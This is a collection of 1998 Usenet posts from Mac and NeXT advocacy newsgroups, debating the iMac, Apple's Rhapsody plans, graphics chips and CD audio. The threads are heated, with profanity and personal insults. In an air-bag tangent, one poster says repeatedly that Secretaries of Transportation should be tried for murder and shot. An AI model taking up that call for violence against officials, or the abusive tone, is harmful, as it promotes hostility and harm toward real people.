>> for as many counts of murder as people have been killed by the things.
>
>And how do you reward them for all the thousands of lives they've saved?
>Air bags have saved thousands of lives, and cost perhaps dozens.
The last I read it was around 500. And everyone of them was
preventable. The government knew that air bags were likelt to kill
small adults and children. They forced their one size fits all
solution on us anyway and didn't even give a big enough fuck about
anyone to warn people until it was obvious. That, Joe, is negligent
homicide at the least and I think its a good case for conspiracy to
commit a premeditated murder. It doesn't look any different to me than
setting up a shotgun to fire through your front door when its opened
as a security measure. You knew someone would die, you just didn't
know who it was going to be (or care).
>Regrettable? Absolutely. Tragic? Sure--for the families involved.
But, hey, they new driving was risky, right? Just because the
government knew that there were certain classes of people that these
things were almost guaranteed to kill doesn't mean they should have
warned anybody right? Or let them be an option? Nah, we just force
everyone to use them and if you're a small adult or a kid, well its
just too goddamn bad that you're sitting in front of a loaded chamber
playing Russian roulette in traffic. But if its not your family
involved well too bad then eh, Joe? Better you than me? Nice attitude,
Joe. I'll be sure and sign you up for humanitarian of the year.
> But as a
>society, air bags have been mostly positive. With a little fine tuning,
>the ratio may improve further.
Possibly. Now all we have to do is wait 20 years for the government to
allow us lowly citizens the right to install and adjust them to suit
or own needs. Until then the nanny state's death toll just keeps
rising.
>
>> After they've been found guilty (There can be no other outcome in a
>> fair trial on this issue. The evidence is that overwhelming.) they
>> should be shot.) These same bureaucrats are looking at the results of
>> collisions between SUVs and compact cars and concluding that the SUV
>> is just too safe. Doubtless, we will soon see regulations mandating an
>> 'equal right to die' in a collision.
>
>Nice straw man. Care to provide a URL that recommends changing SUVs merely
>to make them less safe for SUV occupants?
Oh, they don't phrase it that way. They claim that the cars are
getting too damaged by the SUVs and the SUVs need to be decreased in
size so the cars don't get damaged so badly and so many people in them
killed. Its still looking at a collision between a safer car and a
less safe car and concluding that the safer car needs to be made less
safe.
>
>> You may get your wish. Even a small victory by the government against
>> MS will get the ball rolling in this direction. The funny thing is
>
>If splittin MS in pieces results in the same ratio of benefit to pain as
>requiring air bags, they should do it.
That's good, Joe. Lets break up everybody. Fantastic idea. Why
shouldn't the government be controlling the day to day operations of
every company? Lets do it. Then things will be so much better!
>
>> that since the government will find it easier to mandate the most
>> popular to be the only thing allowable, you will be literally forced
>> (at gunpoint) to use MS. No doubt it will be 'for the children' in
>> some way.
>
>Huh? Another straw man.
You don't actually think that the governemnt will mandate 'free
choice' do you? To messy. To hard to control from the central
government. They'll want something monolithic.
>
>> Failure to use government mandated software will result in you and
>> your family getting the 'Randy and Vickie Weaver Treatment'. Won't
>> that just be Paradise?
>
>You're really in fantasy land on this one.
Am I? Randy Weaver was coerced by an undercover agent to cut a shotgun
barrel 1/4" too short and sell it to the agent. His court date was
changed with out notifying him of the change. This was done to a guy
that was living in the middle of nowhere and minding his own business.
They were trying to get something on him so he'd become a snitch on a
group that he wasn't even a member of. When he refused they tried to
kill him. What makes you think that they'll never do it to anyone
else? Someone's in fantasy land and it ain't me, Joe!
On the facts before us, however, we are inclined to conclude
that the Windows 95/IE package is a genuine integration;
consequently, s IV(E)(i) does not bar Microsoft from offering
it as one product.
United States Court of Appeals
FOR THE DISTRICT OF COLUMBIA CIRCUIT
From: ev515o@hotxxxmail.com (Mayor Of R'lyeh)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Organization: City Of R'lyeh
Message-ID: <35e36256.17396304@news.netdirect.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <6rflmn$a27$1@xena.acsu.buffalo.edu>
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
Date: Wed, 19 Aug 1998 23:39:56 GMT
NNTP-Posting-Date: Wed, 19 Aug 1998 18:39:56 EDT
On 19 Aug 1998 19:04:55 -0400, scholl@xena.acsu.buffalo.edu (Edward P
Scholl) chose to bless us all with this bit of wisdom:
>
>wow. you've got problems man. get a couple valiums or somethin'.
>
>-ed
Take your head out of the sand for just a few minutes won't you?
>
>Mayor Of R'lyeh (ev515o@hotxxxmail.com) wrote:
>: No instead we have a bunch of bureaucrats telling car manufacturers
>: what they will make and how many. We have CAFE standards that mandate
>: smaller less safe cars. We have air bags being forced onto cars
>: despite car manufacturer's warnings that they could kill some people.
>: (IMO every Secretary of Transportation from whenever air bags were
>: first forced on car manufacturers to the current one should be tried
>: for as many counts of murder as people have been killed by the things.
>: After they've been found guilty (There can be no other outcome in a
>: fair trial on this issue. The evidence is that overwhelming.) they
>: should be shot.) These same bureaucrats are looking at the results of
>: collisions between SUVs and compact cars and concluding that the SUV
>: is just too safe. Doubtless, we will soon see regulations mandating an
>: 'equal right to die' in a collision.
>: You may get your wish. Even a small victory by the government against
>: MS will get the ball rolling in this direction. The funny thing is
>: that since the government will find it easier to mandate the most
>: popular to be the only thing allowable, you will be literally forced
>: (at gunpoint) to use MS. No doubt it will be 'for the children' in
>: some way.
>: Failure to use government mandated software will result in you and
>: your family getting the 'Randy and Vickie Weaver Treatment'. Won't
>: that just be Paradise?
>: >
>: >And the chariman of Gigantic Motors (makers of Tempo and other fine
>: >Tempo accessories) isn't under suspicion of muscling Tucker motors out
>: >of business.
>
>: No the government did that as well. Your vision of a glorious future
>: sure seems odd.
>
>
>
>: On the facts before us, however, we are inclined to conclude
>: that the Windows 95/IE package is a genuine integration;
>: consequently, s IV(E)(i) does not bar Microsoft from offering
>: it as one product.
>
>: United States Court of Appeals
>: FOR THE DISTRICT OF COLUMBIA CIRCUIT
On the facts before us, however, we are inclined to conclude
that the Windows 95/IE package is a genuine integration;
consequently, s IV(E)(i) does not bar Microsoft from offering
it as one product.
United States Court of Appeals
FOR THE DISTRICT OF COLUMBIA CIRCUIT
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Wed, 19 Aug 1998 22:03:38 -0400
Organization: phenix@interpath.com
Message-ID: <1de0qev.14epkd2mzbnuoN@roxboro0-033.dyn.interpath.net>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com> <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com> <slrn6t6hcj.igg.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <35D9D123.C98BF639@ericsson.com> <1de04hl.63ghpy7uznp3N@roxboro0-031.dyn.interpath.net> <joe.ragosta-1908981020240001@wil64.dol.net> <1de0bq0.17ooe6h176d7isN@roxboro0-031.dyn.interpath.net> <35DB1A25.7573C79A@ericsson.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
Michael Peck <Michael.Peck@ericsson.com> wrote:
] John Moreno wrote:
]
] > I was just trying to correct a common error on advocacy group - i.e.
] > not speaking precisely, and attacking the person not the statement.
] > Sal says that it runs on PC's, and if the sales warrant it apple
] > will support it, Peck poo-paas this by saying that Sal doesn't
] > represent apple. One could say that Sal wasn't precise enough
] > (should have said HE was sure that if sales warranted it...), but
] > Peck was even more off base - it's inconceivable that they wouldn't
] > support it for a sufficient return.
] Not. John Jensen has already pointed out with excessive clarity the
] fact that Apple has pre-determined the outcome of Rhapsody on Intel.
] Put simply, it's not a matter of "what will happen?"; it is rather a
] matter of "we have decided what will happen".
And I don't really disagree with him (in fact I implied the same type of
thing below).
] > He should have attacked the idea (as you did) that they might sale
] > enough to change their minds about dropping it, given it's
] > lackluster marketing, and the negative implications that they have
] > made (i.e. that they probably aren't going to support it).
] I've got two scenarios for you:
]
] 1. Apple writes an operating system, trains a support staff to handle
] it, outlines a growth plan, and executes a marketing strategy, all
] aimed at introducing a product for the sake of venturing into a new
] product. The intention is to gauge interest in the product from its
] first incarnation as a combination of all the factors (quality,
] support, effort, corporate backing, advertising) that would go into
] subsequent generations of the product. Thus, a real test with a
] reasonably complete number of real variables has been conducted and
] Apple can with confidence use the results as a basis for a decision on
] whether or not to continue the product.
]
] 2. Apple dedicates a few engineers or a small department to porting an
] existing system. No advertising money is spent. No support staff is
] trained. A Web page with a small FAQ is put up on the Web site.
] Hardware manufacturers receive an email directed to "technical
] support" advertising info on writing drivers for the port. A handful
] of freeware developers are enlisted to include their own ports on the
] distribution media. The product is sold at the same price as the
] original, fails to capture any interest whatsoever, and is
] subsequently dropped.
] Which scenario is closer to what you're imagining?
I think they are going with 2 - the point is that although they may be
brain dead and think that it's not going to earn them money or that it
would take away profits from their hardware sales or that the intel
inside logo clashed with apple logo and would turn people off -- but if
they sold every single copy they had by noon the day it was released and
had to back order several million more orders, they would change their
mind.
] > Personally I don't believe that the sales will warrant it, and
] > believe that since the decision has already been made a reversal of
] > the decision would take extraordinary sales - by which I mean that
] > even if it does enough business to justify it's continuation, it
] > won't be enough to justify changing their minds.
]
] This is known as a "self-fulfilling prophecy".
Yes - but even self-fulfilling prophecies can be wrong.
"I'm going to smoke 3 packs a day until I die of cancer when I'm in my
sixti...screech, bang, [bus runs you over]".
--
John Moreno
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: 3D chips
Date: Fri, 21 Aug 1998 02:47:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rin3i$uki$1@nnrp1.dejanews.com>
References: <6ri2mt$3j6@newsb.netnews.att.com>
In article <6ri2mt$3j6@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Apple seems to have picked a safe choice for 3D graphics chips.
> [It is using 3D RagePro Turbo, isn't it ?]
Nope. The RagePro Turbo is different from the RagePro. It is designed to
support APG 2x. The RagePro Turbo is not being used in the iMac nor is it
available in any current card for the Mac. It has been available for the PC
since January, I believe. I can remember PC World reviews of the RagePro
stating that it's 3D speed is "good" while the Velocity 128 PCI was rated as
"very good." There are cards now that are most than twice as fast as the
Velocity 128 PCI and I can't think of any card that is still shipping that is
as slow. Keep in mind that a popular 3D chipset is not necessarily a good
chipset (just like PCs are not necessarily better because they are more
popular). For good 3D performance, you can look to Intel, nVidea and 3dfx.
And, for the last of those, only one manufacturer is producing Voodoo 2 cards
for the Mac and they have less memory and are still more expensive than the
PC version. Of couse, you can't install a GameWizard into your iMac. If I
were Apple, I'd make a gMac that ships with a single PCI slot which would
contain a GameWizard.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: ayufbaykuh@bayust.cowm
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Thu, 20 Aug 1998 01:41:45 -0700
Message-ID: <ayufbaykuh-2008980141450001@192.168.0.2>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net> <tim-1808981644030001@jump-tnt-0044.customer.jump.net> <joe.ragosta-1908980807560001@wil70.dol.net>
\H;P~1w0O+wJq\]fy=yWGLWBIsnq-L7<(<bD6#1Wwuz(fd2tH)r8l'q|U
In article <joe.ragosta-1908980807560001@wil70.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <tim-1808981644030001@jump-tnt-0044.customer.jump.net>,
>tim@jumpnet.com (Tim Olson) wrote:
>
>> In article <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net>,
>> gmgraves@slip.net (George Graves) wrote:
>>
>> | That's what YOU think! I have been fooling with this stuff
>> | long enough to know better and I have an Electrical Engineering
>> | degree which tells me that I should know better. In these cases
>> | I have to put my engineering background on hold and trust my
>> | ears.
>>
>> If you throw science and engineering away based upon what you *think* you
>> hear (without any scientific method to back it up) you shouldn't consider
>> yourself an engineer or scientist.
>
>Not true.
>
>I'm a scientist. While throwing science and engineering away isn't
>appropriate, a long-standing tradition in science is observation. In fact,
>observation as a part of the scientific principle goes back at least as
>far as Aristotle.
>
>A scientist always has his eyes (or ears) open. When they see an
>phenomenon that isn't explainable with existing theories, they explore it
>in more detail to try to understand it. Some times, the reach the
>conclusion that their observations were in error and the phenomenon wasn't
>real. Sometimes, they discover some new effect. Sometimes they find that
>an existing effect explains it. And sometimes they can't reach a
>conclusion and have to drop it.
>
>But no self-respecting scientist neglects observation.
>
>Engineers are somewhat different by the nature of their work. A good
>engineer practices many of the same things as scientists, but at work,
>they're often more concerned about just making something work rather than
>explaining it. (Broad generalization, but true on average).
>
"...a scientist must...be absolutely like a child. If he sees a thing, he
must say that he sees it, whether it was what he thought he was going to
see or not. See first, think later, then test. But always see first.
Otherwise you will only see what you were expecting. Most scientists
forget that."
Douglas Adams, "So long, and thanks for all the fish"
--
"When future historians write about us, if they base their
conclusions on whatever material goods survive from Present-Day
America, we will undoubtedly stand alone among nations and be known
forevermore as "THOSE WHO CHOSE CHEESE." - Frank Zappa
From: Thomas King <n2156075@student.fit.qut.edu.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 20 Aug 1998 18:46:11 +1000
Organization: Queensland University of Technology, Australia
Distribution: world
Message-ID: <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: cquirke@iafrica.com
In-Reply-To: <35d73727.75437413@news.iafrica.com>
Whoever this user is, they haven't hit onto the idea that a computer
isn't suppose to be complex - IT'S A TOOL - the imac is the tool for
getting
on the internet. No stuffing around, you rip it out of the box and put the
cables in, jack it into a land line and go.
First time users don't want to fuck around with
your expandable options, you multiple cables and stuff. they want to get
onto the web.
If your statements are anything to go by, you are one of those loser intel
user who think big is better. design and usablity make for good
computing.
regards the intel hating aardvark
On Sun, 16 Aug 1998 cquirke@iafrica.com wrote:
> On Sun, 16 Aug 1998 08:05:28 -0400, joe.ragosta@dol.net (Joe Ragosta)
> >In article <35d6af93.40724865@news.iafrica.com>, cquirke@iafrica.com wrote:
> >> On Sat, 15 Aug 1998 01:38:22 -0300, asiufy@uol.com.br (Alexandre A.
> >> >In article <6r23ta$ea2$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
> >If you get a PowerMac G3, you can add PCI cards as well. It's just that
> >some people choose a non-expandable computer for the convenience.
>
> Whose convenience - the volume retailer who can't do open case work?
>
> >why pay for something you don't want or need?
>
> Like built-in components you may want to replace?
>
> >> One of the defining things about PCs is that they have had expansion
> >> slots from day one. No having to pay a premium for SCSI, no paying
> >> extra for the models with PCI slots years after PCI was standard.
>
> >Right. Like not paying for floppy drives if you don't need them.
>
> You mean the iMac? "Let's re-invent the PC by making it even lamer
> than Compaq have dared to, so far..." - OK if it's cheap, but if you
> can still get a non-lamered PC (monitor you can adjust position or
> replace for upgrade/repairs, diskette drive so you can back up at
> least some data, expansion slots etc.) for the same price, then it
> should be dead in the water.
If your still using floppies, maybe you should consider the fact that
floppys are dead - software doesn't come on them, backing up is a joke
--back up 4Gb of video onto a floppies- "you are a dickhead!!!!!!!!"
>
> But it won't be, because the hype will get the lamers snapping 'em up
> like popcorn - and spitting them out just as fast when they get to the
> hard lumps at the bottom of the packet.
>
>
>
>
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: docks in OSX
Message-ID: <1998082002171700.WAA05274@ladder03.news.aol.com>
Date: 20 Aug 1998 02:17:17 GMT
Organization: AOL http://www.aol.com
References: <alex-1908981239120001@castle.webis.net>
My apologies, as Andrew Wright was kind enough to note
>Someone wrote (paraphrased :):
>>>We're getting a dock-alike thing in 8.5.
And then Alex Kac said:
>It is completely configurable. Its basically a global floating window that
>can be configured to look like the Windows Task bar, the Next Dock, with
>small icons, large icons, no icons, title bar yes/no, etc...
But what about interface and functionality? Can it be compelled to slide in
only up/down or side-to-side? How does one load it with apps? Drag-and-drop?
Andrew Wright then went on to note that he didn't think animation occured, and
that it was customized through AppleScript?
Similarly, what happened to animated icons? Why AppleScript?
Anyone still have a copy of that Apple UI document?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 20 Aug 1998 02:23:35 GMT
Organization: University of Maryland, College Park
Message-ID: <6rg1b7$2ae$2@hecate.umd.edu>
Steve Sullivan (macghod@concentric.net) wrote:
: gmgraves@slip.net (George Graves) wrote:
: > > Ahhh, the "the imac shows how visionary apple is" argument.
: > > Question. How come the new mac g3's that were released about the same
: > > time as the imac MAKE you pay for a floppy drive? The imac gives you no
: > > option to have your computer COME with a internal floppy, and the new g3s
: > > give you no option to have your computer NOT come with a internal floppy.
: > >
: > > What the F*** is up with this? Joe R says a mac internal floppy Costs
: > > *APPLE* at least $50. A imation internal ide superdisk does EXACTLY what
: > > the macs floppy drive does, PLUS gives high ammount of storage, and RETAIL
: > > is as low as only $60.
: >
: > Where have you seen the Imation drive for $60? $160 is more like it and it
: > lists for around $200.
: George, reread what I said. A Imation internal IDE superdisk. Its the
: *USB* version that costs around $189. SOmeone else posted that someplace
: had the IDE version for $60, I think it was office Max?
I forget which store it was, but there was an offer of "Buy a WD hard drive,
and get an internal Imation drive for free!" The least expensive drive you
could purchase was a 4 Gig WD for $149. So for $149, you get a 4 gig WD
drive, and an Imation LS120. That's an even better dead than the bare drive
for $60.
: --
: Whats a nice wench like you doing in a monastery like this?
: - reported oldest written Scottish, said by a clergymen to a "wench"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 21 Aug 98 00:12:11 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2026BDE-1FDB3@206.165.43.101>
References: <6rj2q7$cqc$1@nnrp1.dejanews.com>
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quinlan@intergate.bc.ca said:
>In article <B2021373-186F9@206.165.43.14>,
> "Lawson English" <english@primenet.com> wrote:
>
>> My understanding is that the Carbon API is a MacOS-like wrapper over the
>> low-level services that the YellowBox itself uses.
>
>The services that they share would have to be very low level because you
>couldn't wrap the Carbon APIs over the YB. Mac OS programs expect to see
>and
>control events that are handled by the YB window server.
>
Ummmm...
You're aware that the new Carbon graphics is based on the display engine of
Display PostScript, right?
Are you trying to suggest that they're going to go so far as to rewrite the
display engine and then shoe-horn it on top of a QuickDraw (classic) based
windowing system? You can do that with GX, but that's because GX was
designed from the ground up to do that.
Regardless, the main reason why MacOS never became pre-emptive was because
the windows manager wouldn't allow it. The main reason why the windows
manager wouldn't allow it was because QuickDraw wasn't designed for it it.
The main reason why QuickDraw wouldn't allow it was because it lacked the
design that QDe has.
Soooo...
Seems like they've rewritten the MacOS windowing manager to use QDe, no?
And so, the new YB will make use of the same windowing manager (at least
under X) and events will be handled in such a way that both YB and Carbon
apps don't step on each other when handling events. THe details of this are
no doubt being worked out as we speak and those that know for sure are
under NDA, so my guess is just as good as yours.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: steve <steve@paule.ncpa.olemiss.edu>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 21:23:35 -0400
Organization: The University of Mississippi
Message-ID: <Pine.LNX.3.96.980819212310.29679B-100000@paule>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35e25adc.15482783@news.netdirect.net> <joe.ragosta-1908982114360001@elk128.dol.net>
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Tis a bitter taste indeed, laddiebuck, but I agree with Joey here.
Achhh.
On Wed, 19 Aug 1998, Joe Ragosta wrote:
> In article <35e25adc.15482783@news.netdirect.net>, ev515o@hotxxxmail.com
> (Mayor Of R'lyeh) wrote:
>
> > On Wed, 19 Aug 1998 18:45:37 -0400, joe.ragosta@dol.net (Joe Ragosta)
> > chose to bless us all with this bit of wisdom:
> >
> > >In article <35de4bec.11657983@news.netdirect.net>, ev515o@hotxxxmail.com
> > >(Mayor Of R'lyeh) wrote:
> > >
> > >> No instead we have a bunch of bureaucrats telling car manufacturers
> > >> what they will make and how many. We have CAFE standards that mandate
> > >> smaller less safe cars. We have air bags being forced onto cars
> > >
> > >Not true. CAFE standards mandate fuel economy. There's nothing in them
> > >that mandates that cars need to be less safe.
> >
> > To get more gas mileage you need to lighten the car. Lighter cars are
> > less safe. We've gotten about all you can get out of an IC engine.
>
> Not true. If your explanation were true, there'd be no difference in fuel
> economy between any two cars with similar road weight. There clearly is a
> lot of difference between two cars that weigh 3,000 lb.
>
> > >
> > >Example: Most car manufacturers in the U.S. are bragging about their
> > >umpteen horsepower engines and how fast their cars are.
> >
> > Where are you at that its still 1972?
>
> They're still doing it today.
>
> >
> > > If they spent as
> > >much money and time on developing more efficient cars as they spend on
> > >making more powerful engines, they'd have no problem meeting the CAFE
> > >standards without reducing weight.
> >
> > There's not much more to be gotten out of the IC engine. Electric
> > isn't viable right now for anything but around town driving. Natural
> > gas and propane lack the needed fueling stations to be practical.
>
> There's plenty more. Cut the average horsepower by 25% and see what
> happens to fuel economy. Gear the cars higher to see what happens.
>
> > >
> > >> despite car manufacturer's warnings that they could kill some people.
> > >
> > >True. How many? About 1% of the number they've saved?
> >
> > I'm sure that's a great consolation to the dead's families.
>
> That's not the way society makes decisions. They make decisions based on
> probabilities (or at least they would if most decisions weren't
> political).
>
> > >
> > >> (IMO every Secretary of Transportation from whenever air bags were
> > >> first forced on car manufacturers to the current one should be tried
> > >> for as many counts of murder as people have been killed by the things.
> > >
> > >And how do you reward them for all the thousands of lives they've saved?
> > >Air bags have saved thousands of lives, and cost perhaps dozens.
> >
> >
> > The last I read it was around 500. And everyone of them was
>
> Compared to 10,000 per year saved or 50,000 in the past 5 years.
>
> > preventable. The government knew that air bags were likelt to kill
> > small adults and children. They forced their one size fits all
> > solution on us anyway and didn't even give a big enough fuck about
> > anyone to warn people until it was obvious. That, Joe, is negligent
> > homicide at the least and I think its a good case for conspiracy to
> > commit a premeditated murder. It doesn't look any different to me than
>
> Nonsense. The government also knows that a tiny percentage of people will
> get polio from the polio vaccine. But since it saves several orders of
> magnitude more lives than it costs, it's a reasonable thing for society to
> do.
>
> > setting up a shotgun to fire through your front door when its opened
> > as a security measure. You knew someone would die, you just didn't
> > know who it was going to be (or care).
>
> Very different situation. Setting up a gun in front of your door isn't
> going to save lives--on a statistical basis or otherwise.
>
> Nor can you equate an individual's actions with a government's actions.
>
> --
> Regards,
>
> Joe Ragosta
> See the Complete Macintosh Advocacy Page
> http://www.dol.net/~Ragosta/complmac.htm
>
>
Steven Zanvil Sawolkin
228-G Freedom Dr.
Belleville, IL
U.S.A. 62226-5184
618-277-7380
lymond@peaknet.net
alternate: jgerdes@stclair.k12.il.us
From: not_the-spam_xxiii@biogate.com (Dave Martin)
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 21 Aug 1998 07:54:48 GMT
Message-ID: <35df2780.7114480@netnews.msn.com>
References: <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net> <35AFC01F.1739@REMOVE.wayne.edu> <slrn6qvr1q.jto.jason@jhste1.dyn.ml.org> <35D7FC98.C8445170@sci.kun.nl> <slrn6tkkht.1kh.jason@jhste1.dyn.ml.org>
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Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
On 19 Aug 1998 04:15:09 GMT, jason@jhste1.dyn.ml.org (Jason S.) wrote:
>Instant window, no slowdown, etc. Perhaps you don't have enough RAM to
>keep Netscape happy (I have 96 megs - nothing overwhelming, once again)?
Netscape is a memory hog. If you don't have enough memory to make it
happy you have problems, If you do have memory, its not so bad (not
great mind you).
<*> - Know Future
The avalanche has started, it is too late for the pebbles to vote.
From: dougz@dgii.com (Doug)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <35dc202c.1912670@news.dgii.com>
References: <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net> <redgate-1908981057290001@aux163.tulsa.oklahoma.net> <gmgraves-1908981054010001@sf-usr1-40-168.dialup.slip.net>
Date: Thu, 20 Aug 1998 13:08:55 GMT
NNTP-Posting-Date: Thu, 20 Aug 1998 08:08:55 CDT
gmgraves@slip.net (George Graves) wrote:
>Actually, when I first heard the penomenea, I was dumbstruck. I had just
The key work here is "dumb."
From: dougz@dgii.com (Doug)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <35dc2093.2015523@news.dgii.com>
